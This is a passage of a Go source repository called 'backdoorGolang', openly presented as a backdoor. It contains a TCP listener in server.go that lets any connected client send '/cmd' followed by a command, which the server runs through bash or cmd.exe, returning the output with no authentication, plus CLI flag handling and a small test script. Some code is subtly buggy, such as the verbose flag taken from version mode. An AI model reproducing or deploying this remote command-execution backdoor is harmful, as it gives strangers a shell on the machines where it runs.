/** Return true if mode use from parameter */ 29 | func UseMode(mode *bool) bool { 30 | if *mode { 31 | return true 32 | } 33 | return false 34 | } 35 | 36 | /** Return true if debug mode is enabled */ 37 | func UseDebugMode() bool { 38 | return UseMode(isDebugMode) 39 | } 40 | 41 | /** Return true if listen mode is enabled */ 42 | func UseListenMode() bool { 43 | return UseMode(isListenMode) 44 | } 45 | 46 | /** Return true if the user want to see the program version */ 47 | func UseVersionMode() bool { 48 | return UseMode(isVersionMode) 49 | } 50 | 51 | /** Return true if the user want to see the program version */ 52 | func UseVerboseMode() bool { 53 | return UseMode(isVerboseMode) 54 | } 55 | 56 | /** Parse arguments and check value is allowed */ 57 | func InitFlags() Context { 58 | 59 | // Handle errors in defer func with recover. 60 | defer func() { 61 | if err := recover(); err != nil { 62 | // Handle our error. 63 | fmt.Println("Error : ", err) 64 | os.Exit(1) 65 | } 66 | }() 67 | 68 | pflag.Parse() 69 | 70 | if UseVersionMode() { 71 | fmt.Printf("%s : Build %s Version %f\nAuthor : %s (see: %s)", common.PRODUCT_NAME, common.BUILD, common.VERSION, common.AUTHOR, common.CONTACT) 72 | os.Exit(0) 73 | } 74 | 75 | return generateContextFromFlags() 76 | } 77 | 78 | /** Parse, Validate flags and generate CLI context Object from CLI Arguments */ 79 | func generateContextFromFlags() Context { 80 | 81 | target := new(socket.Target) 82 | target.Host = *host 83 | target.Port = *port 84 | 85 | context := new(Context) 86 | context.Target = target 87 | context.UseDebugMode = UseDebugMode() 88 | context.UseListenMode = UseListenMode() 89 | context.UseVerboseMode = UseVersionMode() 90 | 91 | DisplayAsDebug("Debug mode enabled") 92 | 93 | // Resolv hostname as net.IP if possible 94 | if !target.HostCanBeResolv() { 95 | panic(fmt.Sprintf(`Invalid host : Couln't resolv "%s"`, *host)) 96 | } 97 | 98 | DisplayAsDebug(context.PrettyString()) 99 | 100 | return *context 101 | } 102 | -------------------------------------------------------------------------------- /core/cli/context.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/pilebones/backdoorGolang/core/socket" 7 | ) 8 | 9 | type Context struct { 10 | Target *socket.Target 11 | UseListenMode bool 12 | UseDebugMode bool 13 | UseVerboseMode bool 14 | } 15 | 16 | /** Convert context struct type as string */ 17 | func (c Context) PrettyString() string { 18 | 19 | return fmt.Sprintf(`Host : %s 20 | Port : %d 21 | IPv4 : %v 22 | IPv6 : %v 23 | isListenMode : %t 24 | isVerboseMode : %t 25 | isDebugMode : %t 26 | `, 27 | c.Target.Host, 28 | c.Target.Port, 29 | c.Target.Ipv4, 30 | c.Target.Ipv6, 31 | c.UseListenMode, 32 | c.UseVerboseMode, 33 | c.UseDebugMode, 34 | ) 35 | } 36 | -------------------------------------------------------------------------------- /core/cli/exec.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "os/exec" 5 | "runtime" 6 | ) 7 | 8 | /** 9 | * Execute command 10 | */ 11 | func ExecOrPanic(cmd string) string { 12 | output, err := exec.Command(cmd).Output() 13 | if err != nil { 14 | panic(err) 15 | } 16 | return string(output) 17 | } 18 | 19 | /** 20 | * Execute command inside shell on linux or windows 21 | */ 22 | func ExecShellScriptOrPanic(args string) string { 23 | var ( 24 | shell string 25 | cmd *exec.Cmd 26 | ) 27 | 28 | switch runtime.GOOS { 29 | case "windows": 30 | shell = "cmd.exe" 31 | cmdArgs := []string{"/C", args} 32 | cmd = exec.Command(shell, cmdArgs...) 33 | break 34 | case "linux": 35 | shell = "bash" 36 | cmdArgs := []string{"-c", args} 37 | cmd = exec.Command(shell, cmdArgs...) 38 | break 39 | default: 40 | panic("Unsupported target OS, unable to exec command !") 41 | break 42 | } 43 | 44 | output, err := cmd.Output() 45 | if err != nil { 46 | panic(err) 47 | } 48 | return string(output) 49 | } 50 | -------------------------------------------------------------------------------- /core/common/common.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | const ( 4 | VERSION = 0.1 5 | BUILD = "2016-02-19" 6 | PRODUCT_NAME = "backdoorGolang" 7 | AUTHOR = "Pilebones" 8 | CONTACT = "https://www.mickael.franc.fr" 9 | ) 10 | -------------------------------------------------------------------------------- /core/socket/client/client.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | import ( 4 | "github.com/pilebones/backdoorGolang/core/socket" 5 | ) 6 | 7 | type ClientProvider struct { 8 | socket.SocketContext 9 | } 10 | -------------------------------------------------------------------------------- /core/socket/server/client.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "bytes" 5 | "container/list" 6 | "fmt" 7 | "net" 8 | "strings" 9 | ) 10 | 11 | /** Client structure */ 12 | type Client struct { 13 | Incoming chan string // Message Channel : Input 14 | Outgoing chan string // Message Channel : Output 15 | Connection net.Conn // Socket between client and server 16 | Quit chan bool // Message Channel which contains the state of connection 17 | Clients *list.List // List of clients connected from server 18 | } 19 | 20 | /** 21 | * Read data from client socket 22 | * @param buffer 23 | */ 24 | func (c Client) Read(buffer []byte) bool { 25 | _, error := c.Connection.Read(buffer) 26 | if error != nil { 27 | c.Close() 28 | fmt.Errorf("Unable to read buffer client, connection close (%v)\n", error) 29 | return false 30 | } 31 | // fmt.Println(bytesRead, " bytes read") 32 | return true 33 | } 34 | 35 | /** 36 | * Send data from client socket 37 | * @param buffer - []byte 38 | * @return int - nb bytes sent 39 | */ 40 | func (c Client) Send(buffer []byte) int { 41 | count := 0 42 | // Add End-line char to buffer before sending 43 | for i := 0; i < len(buffer); i++ { 44 | if buffer[i] == 0x00 { 45 | break 46 | } 47 | count++ 48 | } 49 | message := strings.TrimSpace(string(buffer)) // Just for debug and server output 50 | fmt.Printf("[MESSAGE][%s] %s {%d bytes}\n", c.Connection.RemoteAddr().String(), message, count) 51 | c.Connection.Write([]byte(buffer)[0:count]) // Flush message to client socket 52 | 53 | return count 54 | } 55 | 56 | /** 57 | * Send string message from client socket 58 | * @param message - string 59 | */ 60 | func (c Client) SendMessage(message string) { 61 | if len(message) != 0 { 62 | buffer := bytes.NewBufferString(message).Bytes() 63 | c.Send(buffer) 64 | } 65 | } 66 | 67 | /** 68 | * Manage client logout 69 | */ 70 | func (c Client) Close() { 71 | c.Quit <- true 72 | c.Connection.Close() 73 | c.RemoveMe() 74 | fmt.Println("Client disconnected") 75 | } 76 | 77 | /** 78 | * Remove client from the list of connected users 79 | */ 80 | func (c Client) RemoveMe() { 81 | for element := c.Clients.Front(); element != nil; element = element.Next() { 82 | client := element.Value.(Client) 83 | if c.Connection.RemoteAddr() == client.Connection.RemoteAddr() { 84 | c.Clients.Remove(element) 85 | } 86 | } 87 | } 88 | 89 | /** 90 | * Getting uniq identifier of a client 91 | */ 92 | func (c Client) GetId() string { 93 | return c.Connection.RemoteAddr().String() 94 | } 95 | -------------------------------------------------------------------------------- /core/socket/server/server.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "bytes" 5 | "container/list" 6 | "fmt" 7 | "net" 8 | "regexp" 9 | "strings" 10 | 11 | "github.com/pilebones/backdoorGolang/core/cli" 12 | "github.com/pilebones/backdoorGolang/core/socket" 13 | ) 14 | 15 | const ( 16 | // Threshold : Limit of simultanous message between client from channel 17 | BUFFER_CLIENT_NB_MESSAGE_THRESHOLD = 200 18 | // Threshold : Limit the buffer size for sockets 19 | BUFFER_SIZE = 1024 20 | ) 21 | 22 | /** ServerProvider structure */ 23 | type Server struct { 24 | socket.SocketContext 25 | Clients *list.List 26 | } 27 | 28 | /** Init server instance */ 29 | func Create(target *socket.Target, useDebugMode bool) Server { 30 | server := Server{socket.SocketContext{Target: target, UseDebugMode: useDebugMode}, list.New()} 31 | return server 32 | } 33 | 34 | func (s Server) Start() { 35 | 36 | // Pipe between all clients, this pipe relay all message receive from clients to all clients 37 | in := make(chan string, BUFFER_CLIENT_NB_MESSAGE_THRESHOLD) // Limit number of simultaneous message with a threshold to avoid server DOS 38 | go IOHandler(in, s.Clients) // Init clients channel for message (async management) 39 | 40 | // Listen on all : 41 | serverAddr := fmt.Sprintf("%s:%d", s.Target.Host, s.Target.Port) 42 | listener, err := net.Listen("tcp", serverAddr) 43 | if err != nil { 44 | panic(err.Error()) 45 | } 46 | 47 | // Registration socket closure process at the end of func (close socket properly) 48 | defer listener.Close() 49 | 50 | // Infinite loop (until CTRL+C) 51 | for { 52 | fmt.Println("[SERVER][" + serverAddr + "] Waiting for client...") 53 | 54 | // accept connection on port 55 | connection, err := listener.Accept() 56 | if err != nil { 57 | panic(err.Error()) 58 | } 59 | 60 | fmt.Print("[SERVER]["+serverAddr+"] Connection receive from ", connection.RemoteAddr(), "\n") 61 | go ClientHandler(connection, in, s.Clients) // Manage all clients asychronously 62 | } 63 | } 64 | 65 | /** 66 | * Manage asynchronously IO from all connected clients 67 | * 68 | * @param Incoming - A pipe between each client to relay message 69 | * @param clients - A list of connected client 70 | */ 71 | func IOHandler(Incoming <-chan string, clients *list.List) { 72 | for { 73 | // fmt.Println("IOHandler : Waiting for input") 74 | // Waiting incoming message from a client 75 | input := <-Incoming 76 | // fmt.Println("IOHandler : Handling ", input) 77 | for element := clients.Front(); element != nil; element = element.Next() { 78 | client := element.Value.(Client) 79 | client.Incoming <- input // Notify all clients for this message 80 | } 81 | } 82 | } 83 | 84 | /** 85 | * Manage I/O client from server socket 86 | * 87 | * @param connection - Socket between client and server 88 | * @param messageChannel - The shared bus message between all clients 89 | * @param clients - The list of all clients connected 90 | */ 91 | func ClientHandler(connection net.Conn, messageChannel chan string, clients *list.List) { 92 | // Create new client instance 93 | newClient := &Client{make(chan string), messageChannel, connection, make(chan bool), clients} 94 | go ClientSender(newClient) // Manage sending message 95 | go ClientReceiver(newClient) // Manage receiving message 96 | clients.PushBack(*newClient) // Register client to server list of connected clients 97 | 98 | // Send Message to the current user only 99 | newClient.SendMessage(fmt.Sprintf("Connection to Pilebones's Backdoor, Welcome %s\n", connection.RemoteAddr().String())) 100 | newClient.SendMessage(fmt.Sprintf("To logout : press \"/quit\"\n")) 101 | newClient.SendMessage(fmt.Sprintf("List of all user connected :\n")) 102 | for element := clients.Front(); element != nil; element = element.Next() { 103 | client := element.Value.(Client) 104 | isCurrentUser := client.Connection.RemoteAddr().String() == newClient.Connection.RemoteAddr().String() 105 | if !isCurrentUser { 106 | // Notify other clients for the new connection 107 | client.SendMessage(fmt.Sprintf("Another client as joined the server %s\n", connection.RemoteAddr().String())) 108 | } 109 | 110 | message := fmt.Sprintf("- " + client.Connection.RemoteAddr().String()) 111 | if isCurrentUser { 112 | message += " (you)" 113 | } 114 | newClient.SendMessage(message + "\n") 115 | } 116 | 117 | // Notify all clients for the new connection 118 | // messageChannel <- fmt.Sprintf("Another client as joined the server %s\n", connection.RemoteAddr().String()) 119 | } 120 | 121 | /** 122 | * Manage output from server-side socket 123 | * 124 | * @param client - Client object 125 | */ 126 | func ClientSender(client *Client) { 127 | clientId := client.Connection.RemoteAddr() 128 | for { 129 | select { 130 | // Standard message receive by the server from a client 131 | case buffer := <-client.Incoming: 132 | fmt.Println("[SERVER] Sending to ", clientId.String(), ":") 133 | client.SendMessage(buffer) 134 | // Logout instruction 135 | case <-client.Quit: 136 | fmt.Println("Client ", clientId.String(), " quitting") 137 | client.Connection.Close() 138 | break 139 | 140 | } 141 | } 142 | } 143 | 144 | /** 145 | * Manage client input from server-side socket 146 | * 147 | * @param client - Client object 148 | */ 149 | func ClientReceiver(client *Client) { 150 | 151 | buffer := make([]byte, BUFFER_SIZE) 152 | for client.Read(buffer) { // While read data from server-side socket 153 | 154 | cleanedBuffer := cleanBuffer(buffer) // Remove zero bytes from buffer[BUFFER_SIZE] 155 | messageTrimmed := strings.TrimSpace(string(cleanedBuffer)) 156 | if 0 == len(messageTrimmed) { 157 | continue // Skip empty message 158 | } 159 | 160 | fmt.Printf("ClientReader receiver from %s : \"%s\"\n", client.GetId(), messageTrimmed) 161 | bufferTrimmed := bytes.NewBufferString(messageTrimmed).Bytes() // buffer message whithout "\n" 162 | if instructionParser(client, bufferTrimmed) { 163 | break 164 | } 165 | 166 | // Sending message to client 167 | client.Outgoing <- fmt.Sprintf("[%s] %s\n", client.GetId(), string(bufferTrimmed)) 168 | 169 | // Erase all data from buffer 170 | for i := 0; i < BUFFER_SIZE; i++ { 171 | buffer[i] = 0x00 // Char End-Line 172 | } 173 | } 174 | 175 | client.Outgoing <- fmt.Sprintf("[%s] has left the server\n", client.GetId()) 176 | } 177 | 178 | /** 179 | * Manage instruction from client 180 | * 181 | * @param client - Client object 182 | * @param buffer - Client input 183 | */ 184 | func instructionParser(client *Client, buffer []byte) bool { 185 | if matched, _ := regexp.Match("^/(quit|exit)$", buffer); matched { // Logout Instruction 186 | client.Close() 187 | return true 188 | } else if matched, _ := regexp.Match("^/cmd (.+)", buffer); matched { // Command Instruction 189 | r := regexp.MustCompile(`^/cmd (?P.*)`) 190 | matches := r.FindStringSubmatch(string(buffer)) 191 | if 1 < len(matches) { 192 | // Handle error if running failed 193 | defer func() { 194 | if err := recover(); err != nil { 195 | // Handle our error. 196 | fmt.Printf("[%s] Unable to execute command, error : %s\n", client.GetId(), err) 197 | client.SendMessage(fmt.Sprintf("Unable to execute the command, error : %s\n", err)) 198 | } 199 | }() 200 | 201 | command := matches[1] 202 | fmt.Printf("[%s] Execute the following system command : %s\n", client.GetId(), command) 203 | output := cli.ExecShellScriptOrPanic(command) 204 | client.SendMessage(output) 205 | } 206 | 207 | // client.SendMessage(); 208 | } 209 | 210 | return false 211 | } 212 | 213 | /** 214 | * Remove from buffer empty data (zero bytes) 215 | * 216 | * @param buffer []byte 217 | */ 218 | func cleanBuffer(buffer []byte) []byte { 219 | count := 0 220 | // Add End-line char to buffer before sending 221 | for i := 0; i < len(buffer); i++ { 222 | if buffer[i] == 0x00 { 223 | break 224 | } 225 | count++ 226 | } 227 | 228 | return []byte(buffer)[0:count] 229 | } 230 | -------------------------------------------------------------------------------- /core/socket/socket.go: -------------------------------------------------------------------------------- 1 | package socket 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | ) 7 | 8 | type Target struct { 9 | Host string 10 | Port int 11 | Ipv4 net.IP 12 | Ipv6 net.IP 13 | } 14 | 15 | type TargetWrapper interface { 16 | ResolvHost() 17 | HostCanBeResolv() bool 18 | } 19 | 20 | type SocketContext struct { 21 | Target *Target 22 | UseDebugMode bool 23 | } 24 | 25 | func (c *Target) ResolvHost() { 26 | // Resolv hostname as net.IP 27 | ip := net.ParseIP(c.Host) 28 | if ip == nil { // Host isn't IP => check if the hostname can be resolved 29 | ips, err := net.LookupIP(c.Host) 30 | if err != nil { 31 | panic(fmt.Sprintf(`Couln't resolv hostname "%s"`, c.Host)) 32 | } 33 | 34 | if 0 == len(ips) { 35 | panic(fmt.Sprintf(`Unknow error after resolving hostname "%s"`, c.Host)) 36 | } 37 | 38 | c.Ipv4 = ips[1] 39 | c.Ipv6 = ips[0] 40 | } else { 41 | c.Ipv4 = ip.To4() 42 | c.Ipv6 = ip.To16() 43 | } 44 | 45 | } 46 | 47 | func (c *Target) HostCanBeResolv() bool { 48 | var hostHasBeenResolved bool = false 49 | defer func() { 50 | if err := recover(); err != nil { 51 | hostHasBeenResolved = false 52 | } 53 | }() 54 | 55 | c.ResolvHost() 56 | hostHasBeenResolved = true 57 | 58 | // Return true if Host has been resolv 59 | return hostHasBeenResolved 60 | } 61 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/pilebones/backdoorGolang/core/cli" 7 | "github.com/pilebones/backdoorGolang/core/socket/server" 8 | ) 9 | 10 | func main() { 11 | 12 | // Parsing & validate arguments before running 13 | var context cli.Context = cli.InitFlags() 14 | 15 | // Display target resolution before create socket provider 16 | if context.Target.HostCanBeResolv() { 17 | fmt.Printf("Target resolved to %s (%s)\n", context.Target.Ipv4.String(), context.Target.Ipv6.String()) 18 | } 19 | 20 | if context.UseListenMode { // Server mode 21 | fmt.Printf("Listening on %s:%d\n", context.Target.Host, context.Target.Port) 22 | // var server server.ServerProvider = server.Create(context.(socket.SocketWrapper)) 23 | var server server.Server = server.Create(context.Target, context.UseDebugMode) 24 | server.Start() 25 | 26 | } else { // Client mode 27 | // var client client.Client = client.Create(context.Target, context.UseDebugMode) 28 | 29 | fmt.Printf("Init client mode : feature not fully implemented yet work in progress\n") 30 | // var clientProvider client.ClientProvider = client.CreateClient(context.Host, context.Port, context.UseDebugMode) 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /tests/server.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | # Settings 4 | REPO=github.com/pilebones/backdoorGolang/ 5 | BIN=backdoorGolang 6 | PORT=${PORT:-"1234"} 7 | HOSTS=${HOSTS:-"localhost 127.0.0.0 ::1 0.0.0.0"} 8 | 9 | # Check before execute 10 | which go > /dev/null || exit "Golang required, please install this package" 11 | which netcat > /dev/null || exit "Netcat required, please install this package" 12 | [ -z $GOPATH ] && exit "GOPATH must be defined, please configure your golang environment" 13 | 14 | # Init testing env 15 | export PATH=$PATH:$GOPATH 16 | go get $REPO 17 | which $BIN > /dev/null || exit "$BIN must be in your PATH" 18 | 19 | # Run server for testing 20 | for HOST in $HOSTS; do 21 | echo "- Test server on $HOST" 22 | # $BIN -l $HOST -p $PORT 2&> /dev/null & 23 | $BIN -l $HOST -p $PORT 1> /dev/null & 24 | PID=$! 25 | echo "Server running..." 26 | echo "*PID : $PID" 27 | kill -INT $PID 28 | done 29 | --------------------------------------------------------------------------------